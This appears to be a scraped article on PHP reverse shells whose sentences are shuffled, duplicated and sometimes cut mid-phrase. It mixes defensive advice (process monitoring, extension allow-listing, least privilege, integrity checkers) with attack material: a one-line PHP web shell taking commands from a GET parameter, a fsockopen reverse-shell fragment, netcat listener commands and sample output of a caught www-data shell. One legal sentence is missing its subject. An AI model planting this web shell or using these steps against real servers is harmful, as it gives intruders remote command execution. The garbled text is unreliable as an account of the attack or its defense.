Monitor system processes for unusual child processes spawned by your web server ( apache2 or php-fpm spawning sh , bash , nc , or perl is a massive red flag).
Only allow specific extensions (e.g., .jpg , .pdf ). Do not just block .php , as attackers can bypass this with .php5 , .phtml , or .phar .
: Ensuring that the web server user has minimal permissions on the operating system limits the potential impact if a shell is successfully executed.
Writing and possessing a PHP reverse shell is not illegal in itself—it’s a tool. However, is a felony under the Computer Fraud and Abuse Act (CFAA) in the US and similar laws globally. Reverse Shell Php
: Tools like Tripwire or AIDE can detect unauthorized modifications to PHP files. Comparing current file hashes against known-good baselines reveals tampering attempts.
// Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) // Failed to connect echo "Error: $errstr ($errno)"; exit(1);
Your Netcat listener will receive the connection, providing a command prompt. Mitigation and Defense Monitor system processes for unusual child processes spawned
Instantly, your netcat listener will pop a shell:
Before triggering the payload on the target, the attacker must set up a local listener to catch the incoming connection. This is typically done using Netcat: nc -lvnp 4444 Use code with caution. -l : Listen mode -v : Verbose output -n : Do not resolve DNS hostnames -p : Specify the port number Step 2: Deliver and Trigger the Payload
listening on [any] 4444 ... connect to [192.168.45.10] from (UNKNOWN) [10.0.2.15] 54322 id uid=33(www-data) gid=33(www-data) groups=33(www-data) : Ensuring that the web server user has
For system administrators and blue teams, understanding the attack is essential for defense.
The script attempts to establish a connection, spawns the appropriate shell (using cmd.exe on Windows or /bin/sh on Unix-like systems), and then enters a loop that continuously reads from both the socket and the shell process, relaying data between them in both directions.
The fundamental concept behind a PHP reverse shell involves two main components:
<?php system($_GET['cmd']); ?>
On your local machine, use a tool like Netcat to listen for the incoming connection: nc -lvnp 4444 .